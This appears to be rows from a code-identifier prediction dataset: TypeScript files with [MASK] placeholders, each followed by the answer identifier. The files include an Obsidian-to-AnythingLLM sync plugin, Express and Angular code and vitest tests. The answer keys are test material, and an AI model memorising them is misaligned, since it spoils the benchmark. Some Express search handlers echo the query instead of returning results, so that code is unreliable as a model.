		// Now, handle the old version based on the setting
		if (updateHandling === 'keep-in-workspace') {
			// Do nothing. The old file is kept and its embeddings remain.
			this.notify('Kept old versions in workspace.');
			return;
		}

		// For both 'archive' and 'delete', we need to remove the old embeddings
		for (const slug of this.settings.selectedWorkspaces) {
			await this.removeDocumentsFromWorkspace(slug, remotePathsToModify);
		}

		if (updateHandling === 'archive') {
			// Move the old files to an archive folder
			await this.moveFilesToArchive(remotePathsToModify);
		}

		if (updateHandling === 'delete') {
			// Move the old files to the trash folder, which will be deleted if auto-delete is on
			await this.moveFilesToTrash(remotePathsToModify);
		}
	}

	async uploadFile(file: TFile, workspaces: string[]) {
		const { apiKey, rootUrl, remoteBaseFolder } = this.settings;
		
		await this.ensureRemoteFolderExists(remoteBaseFolder);
		
		const fileContent = await this.app.vault.read(file);
		const mangledName = this.getMangledFileName(file);
		
		const formData = new FormData();
		formData.append('file', new Blob([fileContent], { type: 'text/markdown' }), mangledName);

		try {
			const response = await fetch(`${rootUrl}/api/v1/document/upload/${encodeURIComponent(remoteBaseFolder)}`, {
				method: 'POST',
				body: formData,
				headers: { 'Authorization': `Bearer ${apiKey}` }
			});
			
			const responseData = await response.json();
			if (!response.ok || !responseData.success) {
				const errorMessage = responseData.error || `HTTP error! Status: ${response.status}`;
				this.notify(`Failed to upload ${file.name}: ${errorMessage}`);
				return; // Stop if upload failed
			}

			// If upload is successful, add to workspaces
			const newDocumentName = responseData.documents[0].name;
			const documentPath = `${remoteBaseFolder}/${newDocumentName}`;
			for (const slug of workspaces) {
				await this.addDocumentToWorkspace(slug, documentPath);
			}

		} catch (e: any) {
			this.notify(`Failed to upload ${file.name}.`);
		}
	}

	async addDocumentToWorkspace(slug: string, documentPath: string) {
		const { apiKey, rootUrl } = this.settings;
		try {
			await requestUrl({
				url: `${rootUrl}/api/v1/workspace/${slug}/update-embeddings`,
				method: 'POST',
				headers: {
					'Content-Type': 'application/json',
					'Authorization': `Bearer ${apiKey}`
				},
				body: JSON.stringify({
					adds: [documentPath]
				})
			});
		} catch (e: any) {
			console.error(`Failed to add ${documentPath} to workspace ${slug}:`, e);
			this.notify(`Failed to add document to workspace ${slug}.`);
		}
	}

	async moveFilesToTrash(remotePaths: string[]) {
		await this.moveFilesToFolder(remotePaths, '_trash');
	}
	
	async moveFilesToArchive(remotePaths: string[]) {
		await this.moveFilesToFolder(remotePaths, '_archive');
	}
	
	async moveFilesToFolder(remotePaths: string[], targetFolder: string) {
		if (remotePaths.length === 0) return;
		const { apiKey, rootUrl } = this.settings;
	
		const filesToMove = remotePaths.map(path => ({
			from: path,
			to: `${targetFolder}/${path.split('/').pop()}`
		}));
	
		try {
			await this.ensureRemoteFolderExists(targetFolder);
			await fetch(`${rootUrl}/api/v1/document/move-files`, {
				method: 'POST',
				body: JSON.stringify({ files: filesToMove }),
				headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${apiKey}` }
			});
			this.notify(`Moved ${remotePaths.length} file(s) to the ${targetFolder} folder.`);
		} catch (e: any) {
			console.error(`Error moving files to ${targetFolder}:`, e);
			this.notify(`Failed to move files to ${targetFolder}.`);
		}
	}
	
	async processDeletions(toDelete: Set<string>, remoteFiles: Map<string, any>) {
		if (toDelete.size === 0) return;
	
		const remotePathsToDelete: string[] = [];
		const { remoteBaseFolder } = this.settings;
	
		for (const key of toDelete) {
			const remoteFile = remoteFiles.get(key);
			if (!remoteFile) continue;
			const remotePath = `${remoteBaseFolder}/${remoteFile.name}`;
			remotePathsToDelete.push(remotePath);
		}
		
		this.notify(`Found ${remotePathsToDelete.length} file(s) to delete.`);
		for (const slug of this.settings.selectedWorkspaces) {
			await this.removeDocumentsFromWorkspace(slug, remotePathsToDelete);
		}
	
		await this.moveFilesToTrash(remotePathsToDelete);
	}

	async removeDocumentsFromWorkspace(slug: string, documentPaths: string[]) {
		if (documentPaths.length === 0) return;
		const { apiKey, rootUrl } = this.settings;
		try {
			await requestUrl({
				url: `${rootUrl}/api/v1/workspace/${slug}/update-embeddings`,
				method: 'POST',
				headers: {
					'Content-Type': 'application/json',
					'Authorization': `Bearer ${apiKey}`
				},
				body: JSON.stringify({
					deletes: documentPaths
				})
			});
		} catch (e: any) {
			console.error(`Failed to remove documents from workspace ${slug}:`, e);
			this.notify(`Failed to remove documents from workspace ${slug}.`);
		}
	}

	async clearRemoteArchives() {
		const { apiKey, rootUrl } = this.settings;
		const foldersToClear = ['_trash', '_archive'];
		for (const folderName of foldersToClear) {
			try {
				await fetch(`${rootUrl}/api/v1/document/remove-folder`, {
					method: 'DELETE',
					body: JSON.stringify({ name: folderName }),
					headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${apiKey}` }
				});
				this.notify(`Cleared the ${folderName} folder.`);
			} catch (e: any) {
				// It's okay if the folder doesn't exist, so we only log other errors.
				if (e.message && !e.message.includes('404')) {
					console.error(`Error clearing ${folderName} folder:`, e);
				}
			}
		}
	}

	getMangledFileName(file: TFile): string {
		return file.path.replace(/\//g, '_-_');
	}

	getRemotePathKey(mangledName: string): string {
		return `${this.settings.remoteBaseFolder}/${mangledName}`;
	}

	async getRemoteFileList(): Promise<Map<string, any> | null> {
		const { apiKey, rootUrl, remoteBaseFolder } = this.settings;
		try {
			const response = await requestUrl({
				url: `${rootUrl}/api/v1/documents/folder/${remoteBaseFolder}`,
				method: 'GET',
				headers: { 'Accept': 'application/json', 'Authorization': `Bearer ${apiKey}` }
			});

			if (response.status === 200) {
				const fileMap = new Map<string, any>();
				for (const doc of response.json.documents) {
					const key = this.getRemotePathKey(doc.title);
					fileMap.set(key, doc);
				}
				return fileMap;
			}
			// If the folder doesn't exist, the API returns a 404, which is expected.
			// Return an empty map in this case.
			return new Map<string, any>();
		} catch (e) {
			console.error('Error fetching remote file list:', e);
			return null;
		}
	}

	async getLocalFiles(syncedFolders: string[]): Promise<Map<string, any>> {
		const localFiles = new Map<string, any>();
		const allFiles = this.app.vault.getMarkdownFiles();

		for (const file of allFiles) {
			const isInSyncedFolder = syncedFolders.some(folder => 
				folder === '.' || file.path.startsWith(folder + '/')
			);

			if (isInSyncedFolder) {
				const mangledName = this.getMangledFileName(file);
				const key = this.getRemotePathKey(mangledName);
				localFiles.set(key, {
					path: file.path,
					mtime: file.stat.mtime
				});
			}
		}
		return localFiles;
	}

	compareFiles(localFiles: Map<string, any>, remoteFiles: Map<string, any>) {
		const toCreate = new Set<string>();
		const toUpdate = new Set<string>();

		for (const [key, file] of localFiles.entries()) {
			if (!remoteFiles.has(key)) {
				toCreate.add(key);
			} else {
				const remoteFile = remoteFiles.get(key);
				const remoteMtime = new Date(remoteFile.published).getTime();
				if (file.mtime > remoteMtime) {
					toUpdate.add(key);
				}
			}
		}

		const  [MASK]  = new Set(localFiles.keys());
		const toDelete = new Set<string>();
		for (const key of remoteFiles.keys()) {
			if (! [MASK] .has(key)) {
				toDelete.add(key);
			}
		}

		return { toCreate, toUpdate, toDelete };
	}

	async ensureRemoteFolderExists(path: string): Promise<void> {
		const { apiKey, rootUrl } = this.settings;
		// This is simplified now - it doesn't need to be recursive.
		try {
			const response = await fetch(`${rootUrl}/api/v1/document/create-folder`, {
				method: 'POST',
				body: JSON.stringify({ name: path }),
				headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${apiKey}` }
			});
			if (!response.ok) {
				const data = await response.json();
				if (data.error && !data.error.includes('already exists')) {
					console.error(`Failed to create folder ${path}:`, data.error);
				}
			}
		} catch (e: any) {
			// Error is likely ""already exists"", which is fine.
		}
	}

	onunload() {

	}

	async loadSettings() {
		this.settings = Object.assign({}, DEFAULT_SETTINGS, await this.loadData());
	}

	async saveSettings() {
		await this.saveData(this.settings);
		this.applyAutoSyncSettings();
	}

	applyAutoSyncSettings() {
		if (this.autoSyncIntervalId) {
			window.clearInterval(this.autoSyncIntervalId);
			this.autoSyncIntervalId = null;
		}

		if (this.settings.autoSync) {
			this.autoSyncIntervalId = this.registerInterval(
				window.setInterval(() => {
					this.notify('Auto-syncing files...');
					this.syncFolders();
				}, this.settings.autoSyncInterval * 60 * 1000)
			);
		}
	}

	notify(message: string) {
		if (this.settings.showNotifications) {
			new Notice(message);
		}
	}
}

class AnythingObsidianSettingTab extends PluginSettingTab {
	plugin: AnythingObsidian;

	constructor(app: App, plugin: AnythingObsidian) {
		super(app, plugin);
		this.plugin = plugin;
	}

	display(): void {
		const {containerEl} = this;

		containerEl.empty();

		containerEl.createEl('h2', { text: 'General' });

		new Setting(containerEl)
			.setName('Show notifications')
			.setDesc('Enable or disable notifications for sync status and other operations.')
			.addToggle(toggle => toggle
				.setValue(this.plugin.settings.showNotifications)
				.onChange(async (value) => {
					this.plugin.settings.showNotifications = value;
					await this.plugin.saveSettings();
				}));

		containerEl.createEl('h2', { text: 'Connection' });

		new Setting(containerEl)
			.setName('Anything LLM API Key')
			.setDesc('Enter your Anything LLM API Key')
			.addText(text => text
				.setPlaceholder('Enter your API Key')
				.setValue(this.plugin.settings.apiKey)
				.onChange(async (value) => {
					this.plugin.settings.apiKey = value;
					await this.plugin.saveSettings();
				}));

		new Setting(containerEl)
			.setName('Anything LLM Root URL')
			.setDesc('Enter your Anything LLM instance URL')
			.addText(text => text
				.setPlaceholder('http://localhost:3001')
				.setValue(this.plugin.settings.rootUrl)
				.onChange(async (value) => {
					if (value.endsWith('/')) {
						value = value.slice(0, -1);
					}
					this.plugin.settings.rootUrl = value;
					await this.plugin.saveSettings();
				}));
		
		new Setting(containerEl)
			.setName('Test API Key')
			.setDesc('Click to test your API key and connection to Anything LLM.')
			.addButton(button => button
				.setButtonText('Test Connection')
				.onClick(async () => {
					if (!this.plugin.settings.apiKey || !this.plugin.settings.rootUrl) {
						this.plugin.notify('Please enter an API Key and Root URL first.');
						return;
					}

					try {
						const response = await requestUrl({
							url: `${this.plugin.settings.rootUrl}/api/v1/auth`,
							method: 'GET',
							headers: {
								'Accept': 'application/json',
								'Authorization': `Bearer ${this.plugin.settings.apiKey}`
							}
						});

						if (response.status === 200 && response.json.authenticated) {
							this.plugin.notify('API Key is valid!');
						} else {
							this.plugin.notify('API Key is invalid or connection failed.');
						}
					} catch (e) {
						this.plugin.notify('Error connecting to Anything LLM. Check the Root URL and your network connection.');
						console.error(e);
					}
				}));

		new Setting(containerEl)
			.setName('Discover Workspaces')
			.setDesc('Click to fetch available workspaces from your Anything LLM instance.')
			.addButton(button => button
				.setButtonText('Discover')
				.onClick(async () => {
					if (!this.plugin.settings.apiKey || !this.plugin.settings.rootUrl) {
						this.plugin.notify('Please enter an API Key and Root URL first.');
						return;
					}
					try {
						const response = await requestUrl({
							url: `${this.plugin.settings.rootUrl}/api/v1/workspaces`,
							method: 'GET',
							headers: {
								'Accept': 'application/json',
								'Authorization': `Bearer ${this.plugin.settings.apiKey}`
							}
						});

						if (response.status === 200) {
							const data = response.json;
							const newWorkspaces = data.workspaces.map((ws: { name: string, slug: string }) => ({
								name: ws.name,
								slug: ws.slug
							}));
							this.plugin.settings.workspaces = newWorkspaces;
							
							const newWorkspaceSlugs = new Set(newWorkspaces.map((ws: Workspace) => ws.slug));
							this.plugin.settings.selectedWorkspaces = this.plugin.settings.selectedWorkspaces.filter(slug => newWorkspaceSlugs.has(slug));

							await this.plugin.saveSettings();
							this.plugin.notify(`${data.workspaces.length} workspaces found.`);
							this.display(); // Rerender
						} else {
							this.plugin.notify('Failed to fetch workspaces.');
						}
					} catch (e) {
						this.plugin.notify('Error fetching workspaces.');
						console.error(e);
					}
				}));

		if (this.plugin.settings.workspaces && this.plugin.settings.workspaces.length > 0) {
			containerEl.createEl('h2', { text: 'Send To' });
			containerEl.createEl('p', { text: 'Select the workspaces to send files to.' });

			this.plugin.settings.workspaces.forEach((ws: Workspace) => {
				new Setting(containerEl)
					.setName(ws.name)
					.addToggle(toggle => toggle
						.setValue(this.plugin.settings.selectedWorkspaces.includes(ws.slug))
						.onChange(async (value) => {
							const { selectedWorkspaces } = this.plugin.settings;
							if (value) {
								if (!selectedWorkspaces.includes(ws.slug)) {
									selectedWorkspaces.push(ws.slug);
								}
							} else {
								const index = selectedWorkspaces.indexOf(ws.slug);
								if (index > -1) {
									selectedWorkspaces.splice(index, 1);
								}
							}
							this.plugin.settings.selectedWorkspaces = selectedWorkspaces;
							await this.plugin.saveSettings();
						}));
			});
		}

		containerEl.createEl('h2', { text: 'Folder Sync' });

		new Setting(containerEl)
			.setName('Folders to Sync')
			.setDesc('Enter the paths of the folders you want to sync, one path per line, relative to your vault root. Use ""."" to sync the entire vault. For example: ""Inbox"" or ""Projects/Active"".')
			.addTextArea(text => text
				.setPlaceholder('.\nFolder1\nFolder2/Subfolder')
				.setValue(this.plugin.settings.syncedFolders.join('\n'))
				.onChange(async (value) => {
					this.plugin.settings.syncedFolders = value.split('\n').map(path => path.trim()).filter(path => path.length > 0);
					await this.plugin.saveSettings();
				}));
		
		new Setting(containerEl)
			.setName('Permanently delete archived files')
			.setDesc('If enabled, the remote trash and archive folders will be cleared after sync. If disabled, old files will be kept.')
			.addToggle(toggle => toggle
				.setValue(this.plugin.settings.autoDelete)
				.onChange(async (value) => {
					this.plugin.settings.autoDelete = value;
					await this.plugin.saveSettings();
				}));

		containerEl.createEl('h2', { text: 'Sync Behavior' });

		new Setting(containerEl)
			.setName('Remote Base Folder')
			.setDesc('The root folder in Anything LLM to sync your vault to.')
			.addText(text => text
				.setPlaceholder('Obsidian Vault')
				.setValue(this.plugin.settings.remoteBaseFolder)
				.onChange(async (value) => {
					this.plugin.settings.remoteBaseFolder = value;
					await this.plugin.saveSettings();
				}));
		
		new Setting(containerEl)
			.setName('When a synced file is updated...')
			.setDesc('How to handle the old version of a file in Anything LLM when it is updated in Obsidian.')
			.addDropdown(dropdown => dropdown
				.addOption('keep-in-workspace', 'Keep both versions in workspace')
				.addOption('archive', 'Replace version in workspace (archive old)')
				.addOption('delete', 'Replace completely (destructive)')
				.setValue(this.plugin.settings.updateHandling)
				.onChange(async (value: 'keep-in-workspace' | 'archive' | 'delete') => {
					this.plugin.settings.updateHandling = value;
					await this.plugin.saveSettings();
				}));
		
		containerEl.createEl('h2', { text: 'Auto Sync' });

		new Setting(containerEl)
			.setName('Enable Auto Sync')
			.setDesc('Automatically sync your specified folders in the background.')
			.addToggle(toggle => toggle
				.setValue(this.plugin.settings.autoSync)
				.onChange(async (value) => {
					this.plugin.settings.autoSync = value;
					await this.plugin.saveSettings();
					this.display(); // Rerender to show/hide interval setting
				}));
		
		if (this.plugin.settings.autoSync) {
			new Setting(containerEl)
				.setName('Sync Interval (minutes)')
				.setDesc('How often to automatically sync your files.')
				.addText(text => text
					.setPlaceholder('5')
					.setValue(String(this.plugin.settings.autoSyncInterval))
					.onChange(async (value) => {
						const interval = parseInt(value, 10);
						if (!isNaN(interval) && interval > 0) {
							this.plugin.settings.autoSyncInterval = interval;
							await this.plugin.saveSettings();
						}
					}));
		}
	}
}
",localKeys
221,"import TheaterModel from ""../models/theaters.model"";
import { Request, Response } from ""express"";

export const getTheaters = async (req: Request, res: Response) => {
    const page: number = Number(req.query.page);
    const moviesPerPage: number = Number(req.query.moviesPerPage)

    try {
        const theaters = await TheaterModel.find({})
        .limit(moviesPerPage)
        .skip(moviesPerPage * page);
        res.status(200).json(theaters);
      } catch (error) {
        res.status(400).json({data: []})
      }
};

export const getTheaterById = async (req: Request, res: Response) => {
    try {
        const theaters = await TheaterModel.find({
            theaterId: Number(req.params.id),
        })
        res.status(200).json(theaters);
      } catch (error) {
        res.status(404).json({data: []})
      }
};



export const getSearchByStreet = async (req: Request, res: Response) => {
    const street: string = String(req.query.keyword)
    try{
        const theaters = await TheaterModel.findOne({
            ""location.address.street1"": street
        })
        res.status(200).json(street);
    } catch(error) {
        res.status(404).json({data: []})
    }
}

export const getSearchByCityName = async (req: Request, res: Response) => {
    const  [MASK] : string = String(req.query.keyword)
    try{
        res.status(200).json( [MASK] );
    } catch(error) {
        res.status(404).json({data: []})
    }
}

export const getSearchByZipcode = async (req: Request, res: Response) => {
    const Zipcode: string = String(req.query.keyword)
    try{
        res.status(200).json(Zipcode);
    } catch(error) {
        res.status(404).json({data: []})
    }
}
      
export const getSearchByState = async (req: Request, res: Response) => {
    const State: string = String(req.query.keyword)
    try{
        res.status(200).json(State);
    } catch(error) {
        res.status(404).json({data: []})
    }
}
    

",Cityname
222,"import { Component, OnInit } from '@angular/core';
import { Location } from '@angular/common';
import { ScenarioDetailService } from '../scenario-detail/scenario-detail.service';
import { SettingsTable } from '../scenario-new/scenario-new';
import { ScenarioNewService } from '../scenario-new/scenario-new.service';
import { StartingValues } from '../scenario-detail/scenario-detail';
import { NavigationExtras, Router } from '@angular/router';

@Component({
  selector: 'app-scenario-comparison',
  templateUrl: './scenario-comparison-inputs.component.html',
  styleUrls: ['./scenario-comparison-inputs.component.css']
})
export class ScenarioComparisonInputsComponent implements OnInit {

  baseScenarioID: number;
  scenariosIDsToCompare: number[];
  settingTables: SettingsTable[];
  baseScenarioValues: StartingValues;
  scenariosToCompareValues: StartingValues[];

  constructor(
    private location: Location,
    private router: Router,
    private scenarioNewService: ScenarioNewService,
    private scenarioDetailService: ScenarioDetailService
  ) {
    const navigation = this.router.getCurrentNavigation();
    const state = navigation.extras.state as {
      baseScenarioID: number,
      scenariosIDsToCompare: boolean
    };
  }

  ngOnInit() {

    // Need to get the navigation extras from history (as the state is only
    // available during navigation); we'll use these to change the behavior
    // of the scenario name field
    this.baseScenarioID = history.state.baseScenarioID;
    this.scenariosIDsToCompare = history.state.scenariosIDsToCompare;

    this.settingTables = [];
    this.getSettingTables();

    this.baseScenarioValues = {} as StartingValues;
    this.getBaseScenarioValues(this.baseScenarioID);

    this.scenariosToCompareValues = [] as StartingValues[];
    this.getScenariosToCompareValues(this.scenariosIDsToCompare);
  }

  getSettingTables(): void {
    this.scenarioNewService.getScenarioNewAPI()
      .subscribe(
        scenarioNewAPI => {
          this.settingTables = scenarioNewAPI.SettingsTables;
        }
      );
  }

  getBaseScenarioValues(scenarioID): void {
    this.scenarioDetailService.getScenarioDetailAPI(scenarioID)
      .subscribe(
        scenarioDetail => {
            this.baseScenarioValues = scenarioDetail.editScenarioValues;
        }
      );
  }

  getScenariosToCompareValues( [MASK] ): void {
    for (const scenarioID of  [MASK] ) {
      this.scenarioDetailService.getScenarioDetailAPI(scenarioID)
        .subscribe(
          scenarioDetail => {
              this.scenariosToCompareValues.push(
                scenarioDetail.editScenarioValues
              );
          }
        );
    }
  }

  viewDescriptions(tableNameInDB, rowNameInDB): void {
    const navigationExtras: NavigationExtras = {
      state: {type: 'subscenario', table: tableNameInDB, row: rowNameInDB}
    };
    // Switch to the new scenario view, with 0 as argument (show all data)
    this.router.navigate(['/scenario-inputs', 0], navigationExtras);
  }

  viewInputs(tableNameInDB, rowNameInDB): void {
    const navigationExtras: NavigationExtras = {
      state: {type: 'input', table: tableNameInDB, row: rowNameInDB}
    };
    // Switch to the new scenario view, with 0 as argument (show all data)
    this.router.navigate(['/scenario-inputs', 0], navigationExtras);
  }

  goBack(): void {
    const navigationExtras: NavigationExtras = {
      state: {
        startingValues: {
          baseScenarioStartingValue: this.baseScenarioID,
          scenariosToCompareStartingValues: this.scenariosIDsToCompare,
          showResultsButtonsStartingValue: false
        }
      }
    };

    this.router.navigate(['scenario-comparison/select'], navigationExtras);
  }
}
",scenarioIDsToCompare
223,"""use server""

import { sql, isUniqueViolation } from ""@/lib/db""

export async function requestEarlyAccess( [MASK] : FormData) {
  const email =  [MASK] .get(""email"") as string

  if (!email) {
    return {
      success: false,
      message: ""Please provide your email address."",
    }
  }

  try {
    await sql`
      INSERT INTO early_access (email)
      VALUES (${email})
    `

    return {
      success: true,
      message: ""Thank you for your interest! We'll notify you when early access is available."",
    }
  } catch (error) {
    console.error(""Error requesting early access:"", error)

    if (isUniqueViolation(error)) {
      return {
        success: true,
        message: ""Thank you for your interest! We'll notify you when early access is available."",
      }
    }

    return {
      success: false,
      message: ""Something went wrong. Please try again later."",
    }
  }
}
",formData
224,"import { ElevenLabsClient } from ""elevenlabs"";
import * as admin from ""firebase-admin"";
import { FieldValue } from ""firebase-admin/firestore"";
import * as functions from ""firebase-functions"";
import * as stream from ""stream"";
import config from ""./config"";
import { GenerateAudioRequest } from ""./types"";
import { buildRequest, BuildRequestOptions, getFileExtension } from ""./util"";

const logger = functions.logger;

admin.initializeApp();

const elevenlabs = new ElevenLabsClient({
  apiKey: config.elevenLabsApiKey, // Defaults to process.env.ELEVENLABS_API_KEY
});

logger.log(""Initializing text-to-speech extension with config:"", config);

export const elevenLabsTextToSpeech = functions.firestore
  .document(`${config.collectionPath}/{docId}`)
  .onWrite(async ( [MASK] ) => {
    const before =  [MASK] ?.before?.data();
    const after =  [MASK] ?.after?.data();

    const snap =  [MASK] .after;
    if (
      snap?.exists &&
      snap?.data().text &&
      (!before || [""text"", ""outputFormat"", ""modelId"", ""voice""].some((p) => before[p] !== after[p])) &&
      // When updates are not enabled, only generate audio if there is no audioPath yet
      (config.enableUpdates || !after.audioPath)
    ) {
      const { text, outputFormat, modelId, voice } = snap.data() as BuildRequestOptions;

      const request = config.enablePerDocumentOverrides
        ? buildRequest({
            text,
            outputFormat,
            modelId,
            voice,
          })
        : buildRequest({ text });

      const stream = await processText(request);
      if (stream) {
        const fileExtension = getFileExtension(request.output_format);

        const fileName = config.storagePath
          ? `${config.storagePath}/${snap.id}${fileExtension}`
          : `${snap.id}${fileExtension}`;

        const bucket = admin.storage().bucket(config.bucketName);

        const file = bucket.file(fileName);

        logger.log(""Uploading audio to storage with filename:"", fileName, {
          includeCustomMetadata: config.includeCustomMetadata,
          cacheControl: config.cacheControl,
        });

        await new Promise<void>((resolve, reject) => {
          stream
            .pipe(
              file.createWriteStream({
                metadata: {
                  // note that we nest ""metadata"" for our custom metadata
                  ...(config.includeCustomMetadata
                    ? {
                        metadata: {
                          description: ""Audio generated by ElevenLabs text-to-speech extension"",
                          documentId: snap.id,
                          documentPath: snap.ref.path,
                          text: request.text,
                          voice: request.voice,
                          modelId: request.model_id,
                          outputFormat: request.output_format,
                        },
                      }
                    : {}),
                  ...(config.cacheControl
                    ? {
                        cacheControl: config.cacheControl,
                      }
                    : {}),
                },
              }),
            )
            .on(""error"", reject)
            .on(""finish"", resolve);
        });

        logger.log(`Audio uploaded to gs://${config.bucketName}/${fileName}`, { metadata: file.metadata });

        await snap.ref.update({
          status: ""done"",
          audioPath: `gs://${config.bucketName}/${fileName}`,
          audioCreatedAt: FieldValue.serverTimestamp(),
        });
      } else {
        logger.error(""No audio stream returned from ElevenLabs"");
        await snap.ref.update({
          status: ""failed"",
          generatingAudioFailed: true,
        });
      }
    }
  });

async function processText(request: GenerateAudioRequest) {
  let response: stream.Readable;

  // Performs the text-to-speech request
  try {
    logger.log(""Generating audio with request:"", request, { maxRetries: config.maxRetries });
    response = await elevenlabs.generate(request, { maxRetries: config.maxRetries });
  } catch (e) {
    logger.error(e);
    throw e;
  }
  return response;
}
",change
225,"import { describe, expect, test } from ""vitest"";
import { Result } from ""../src/index"";
import type { ErrorResultType, SuccessResultType } from ""../src/index"";

describe(""Result utility"", () => {
	describe(""Result.ok"", () => {
		test(""should create a success result with default type"", () => {
			const result = Result.ok({ value: 42 });

			expect(result.type).toBe(""SUCCESS"");
			expect(result.data).toEqual({ value: 42 });
		});

		test(""should create a success result with custom type"", () => {
			const result = Result.ok(""USER_CREATED"", {
				id: 123,
				name: ""John"",
			});

			expect(result.type).toBe(""SUCCESS_USER_CREATED"");
			expect(result.data).toEqual({ id: 123, name: ""John"" });
		});

		test(""should handle primitive data types"", () => {
			const stringResult = Result.ok(""hello world"");
			const numberResult = Result.ok(""COMPUTED"", 42);
			const booleanResult = Result.ok(true);

			expect(stringResult.type).toBe(""SUCCESS"");
			expect(stringResult.data).toBe(""hello world"");

			expect(numberResult.type).toBe(""SUCCESS_COMPUTED"");
			expect(numberResult.data).toBe(42);

			expect(booleanResult.type).toBe(""SUCCESS"");
			expect(booleanResult.data).toBe(true);
		});
	});

	describe(""Result.err"", () => {
		test(""should create an error result with default type"", () => {
			const result = Result.err({ message: ""Something went wrong"" });

			expect(result.type).toBe(""ERROR"");
			expect(result.data).toEqual({ message: ""Something went wrong"" });
		});

		test(""should create an error result with custom type"", () => {
			const result = Result.err(""ERROR_VALIDATION"", {
				field: ""email"",
				message: ""Invalid format"",
			});

			expect(result.type).toBe(""ERROR_ERROR_VALIDATION"");
			expect(result.data).toEqual({
				field: ""email"",
				message: ""Invalid format"",
			});
		});

		test(""should handle Error objects"", () => {
			const error = new Error(""Network timeout"");
			const result = Result.err(""ERROR_NETWORK"", error);

			expect(result.type).toBe(""ERROR_ERROR_NETWORK"");
			expect(result.data).toBe(error);
		});
	});

	describe(""Type discrimination"", () => {
		test(""should allow type discrimination in conditional logic"", () => {
			const successResult: SuccessResultType<""PROCESSED"", { result: string }> =
				Result.ok(""PROCESSED"", {
					result: ""done"",
				});
			const errorResult: ErrorResultType<""FAILED"", { error: string }> =
				Result.err(""FAILED"", {
					error: ""timeout"",
				});

			// Test success case
			if (successResult.type === ""SUCCESS_PROCESSED"") {
				expect(successResult.data.result).toBe(""done"");
				// TypeScript should know this is { result: string }
			} else {
				expect.fail(""Should be SUCCESS_PROCESSED type"");
			}

			// Test error case
			if (errorResult.type === ""ERROR_FAILED"") {
				expect(errorResult.data.error).toBe(""timeout"");
				// TypeScript should know this is { error: string }
			} else {
				expect.fail(""Should be ERROR_FAILED type"");
			}
		});
	});

	describe(""Real-world usage patterns"", () => {
		function processUser(id: number) {
			if (id === 123) {
				return Result.ok(""USER_FOUND"", {
					name: ""<NAME>"",
					email: ""<EMAIL>"",
				});
			}
			return Result.err(""USER_NOT_FOUND"", { id });
		}

		test(""should work in realistic function scenarios"", () => {
			const foundUser = processUser(123);
			const notFoundUser = processUser(999);

			expect(foundUser.type).toBe(""SUCCESS_USER_FOUND"");
			if (foundUser.type === ""SUCCESS_USER_FOUND"") {
				expect(foundUser.data.name).toBe(""<NAME>"");
				expect(foundUser.data.email).toBe(""<EMAIL>"");
			}

			expect(notFoundUser.type).toBe(""ERROR_USER_NOT_FOUND"");
			if (notFoundUser.type === ""ERROR_USER_NOT_FOUND"") {
				expect(notFoundUser.data.id).toBe(999);
			}
		});

		function parseNumber(input: string) {
			const num = Number(input);
			if (Number.isNaN(num)) {
				return Result.err(""PARSE_ERROR"", {
					input,
					reason: ""Not a valid number"",
				});
			}
			return Result.ok(""PARSED"", num);
		}

		test(""should handle parsing scenarios"", () => {
			const validParse = parseNumber(""42"");
			const  [MASK]  = parseNumber(""not-a-number"");

			expect(validParse.type).toBe(""SUCCESS_PARSED"");
			if (validParse.type === ""SUCCESS_PARSED"") {
				expect(validParse.data).toBe(42);
			}

			expect( [MASK] .type).toBe(""ERROR_PARSE_ERROR"");
			if ( [MASK] .type === ""ERROR_PARSE_ERROR"") {
				expect( [MASK] .data.input).toBe(""not-a-number"");
				expect( [MASK] .data.reason).toBe(""Not a valid number"");
			}
		});
	});
});

describe(""README Examples"", () => {
	describe(""Quick Start Examples"", () => {
		test(""should work with generic success/error (simple overload)"", () => {
			const success = Result.ok({ id: 123, name: ""Alice"" });
			const error = Result.err({ message: ""Something went wrong"" });

			expect(success.type).toBe(""SUCCESS"");
			expect(success.data).toEqual({ id: 123, name: ""Alice"" });

			expect(error.type).toBe(""ERROR"");
			expect(error.data).toEqual({ message: ""Something went wrong"" });
		});

		test(""should work with custom tagged variants (descriptive overload)"", () => {
			const tagged = Result.ok(""USER_CREATED"", {
				id: 123,
				name: ""Alice"",
			});
			const failure = Result.err(""VALIDATION_FAILED"", { field: ""email"" });

			expect(tagged.type).toBe(""SUCCESS_USER_CREATED"");
			expect(tagged.data).toEqual({ id: 123, name: ""Alice"" });

			expect(failure.type).toBe(""ERROR_VALIDATION_FAILED"");
			expect(failure.data).toEqual({ field: ""email"" });

			// TypeScript narrows automatically
			if (tagged.type === ""SUCCESS_USER_CREATED"") {
				expect(tagged.data.name).toBe(""Alice""); // TypeScript knows this is string
			}
		});
	});

	describe(""API Reference Examples"", () => {
		test(""Result.ok with default and custom types"", () => {
			// Using default ""SUCCESS"" type
			const result1 = Result.ok({ value: 42 });
			expect(result1.type).toBe(""SUCCESS"");
			expect(result1.data).toEqual({ value: 42 });

			// Using custom type
			const result2 = Result.ok(""SUCCESS_DATA_LOADED"", { items: [] });
			expect(result2.type).toBe(""SUCCESS_SUCCESS_DATA_LOADED"");
			expect(result2.data).toEqual({ items: [] });
		});

		test(""Result.err with default and custom types"", () => {
			// Using default ""ERROR"" type
			const result1 = Result.err({ message: ""Something went wrong"" });
			expect(result1.type).toBe(""ERROR"");
			expect(result1.data).toEqual({ message: ""Something went wrong"" });

			// Using custom type
			const result2 = Result.err(""ERROR_NOT_FOUND"", { resourceId: ""user-123"" });
			expect(result2.type).toBe(""ERROR_ERROR_NOT_FOUND"");
			expect(result2.data).toEqual({ resourceId: ""user-123"" });
		});
	});

	describe(""Synchronous Examples"", () => {
		// Let TypeScript infer the return type
		function parseNumber(input: string) {
			const num = Number.parseInt(input, 10);
			if (Number.isNaN(num)) {
				return Result.err(""INVALID_NUMBER"", { input });
			}
			return Result.ok(""PARSED"", { value: num });
		}

		interface UserData {
			id?: unknown;
			name?: string;
		}

		// Or force a specific return type
		function validateUser(data: UserData) {
			if (!data.id || typeof data.id !== ""number"") {
				return Result.err(""INVALID"", { error: ""ID must be a number"" });
			}
			return Result.ok(""VALID"", { id: data.id });
		}

		test(""parseNumber function from README"", () => {
			const validResult = parseNumber(""42"");
			const invalidResult = parseNumber(""abc"");

			expect(validResult.type).toBe(""SUCCESS_PARSED"");
			if (validResult.type === ""SUCCESS_PARSED"") {
